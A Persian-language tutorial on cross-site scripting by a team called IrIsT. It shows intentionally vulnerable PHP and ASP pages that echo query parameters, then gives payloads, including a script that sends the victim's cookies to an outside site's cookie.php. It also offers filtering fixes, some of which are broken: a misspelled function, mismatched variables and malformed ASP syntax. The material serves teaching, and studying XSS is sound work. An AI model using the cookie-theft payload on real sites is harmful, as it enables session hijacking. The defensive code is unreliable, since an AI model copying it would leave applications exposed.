Cross Site Scripting

با عرض سلام و خسته نباشید.

در این مقاله ما می خوایم در رابطه با باگهای Xss صحبت کنیم.

Xss/Css مخفف (Cross-Site Scripting) می باشد
این نوع باگها اصولا یکی از معمول ترین و کم خطرترین باگها می باشد(ولی بستگی به داده هایی دارد که بر روی آن به دست می آید) .
این باگ زمانی رخ می دهد که یک کاربر می خواهد داده هایی چاپ شود که یک نفوذ گر می تواند با استفاده از کدهای Html و Java Script فعالیتهای خودشو بر روی سایت انجام بدهد.
برای آشنایی بهتر به سورس زیر توجه کنید:
PHP:

```
Page.php
<?php
    $name=$_GET['name'];
    if (isset($name)) {
        echo "IrIsT.Ir $name";
    }
?>
```

و:
ASP

```
Page.asp
<% Response.Write(Request.QueryString("Name2")) %>

Or

<img src='<%= Request.Querysting("Name2") %>'>
```

خوب این ۲ تا مثالی که واستون زدم بر روی صفحات ASP و PHP هستش.
که به این صورت نفوذ گر می تواند از این باگ استفاده کرد:

http://irist.ir/page.php?name=<script...>

و

http://irist.ir/page.asp?name2=<script...>

خوب شما می توانید بعد از =name کدهای خودتون رو قرار بدین.
مثال برای چند تا کد:

```
<script>alert("irist")</script>

<script>alert("document.cookie")</script>

<script>document.location.replace('http://irist.ir/ cookie.php?c='%2Bdocument.co
okie</ script>
```

.....

کدهای بسیار زیادی هستش که به سلیقه و نوع استفاده, یک نفوذ گر می تواند از آن استفاده کنند.
نکته:در برخی از اسکریپتها شما می توانید این کدها رو به صورت کد شده استفاده کنید.

• •

خوب حالا بهتره یک چیز مهم برای پیدا کردن این نوع باگها بگم:

در PHP دستیابی به $_REQUEST, $_GET, $_POST, or $_SERVER که اجازه به استفاده کردن echo, print, or printf می دهد باعث بروز این نوع باگ می شود که شما با دانستن این موارد می توانید باگهایی رو پیدا کنید.

روش جلوگیری از این نوع حمله:

۱-یک روش برای جلوگیری از این نوع حمله استفاده از توابعی می باشد که باعث فیلتر کد می شود.
یکی از این توابع Htmlspecialchasr() می باشد.(توابع دیگری هم وجود دارد)
۲-با استفاده از فیلتر کاراکترها به صورت مستقیم می توانید از این نوع حملات استفاده کنید.
مثال برای کدهای بالا:

PHP:

```
Page.php
<?php
   $name=$_GET['name'];
   if (isset($name)) {
      if (preg_match('/^\w{5,25}$/',$name)) {
         echo "IrIsT.Ir, " . htmlentities($name);
      } else {
         echo "Securing By IrIsT";
      }
   }
?>
```

و:

ASP:

```
Page.asp
<%
 name = Request.Querystring("Name2")
   Set r = new RegExp
   r.Pattern = "^\w{5,25}$"
   r.IgnoreCase = True

   Set m = r.Execute(name2)
   If (lem(0  )) > 0) Then
      Response.Write(Server.HTMLEncode(name2))
   End If
%>
```

راههای دیگری هم برای جلوگیری از این نوع حمله وجود دارد که ما فقط ۲تای آن را ذکر کردیم.

خوب این بحث هم به پایان رسید و اگر مشکلی وجود داشت به بزرگواری خودتون ببخشید و اعلام کنید تا این مشکل برطرف بشود.

:::::یک تشکر ویژه هم از آقا بهزاد بکنیم که در تمام شرایط به من و تیم کمک کردند.::::

با تشکر از همگی: **مدیر تیم IrIsT™ : امیر موسوی**

سایت: Www.IrIsT.Ir

ایمیل: Admin@IrIST.Ir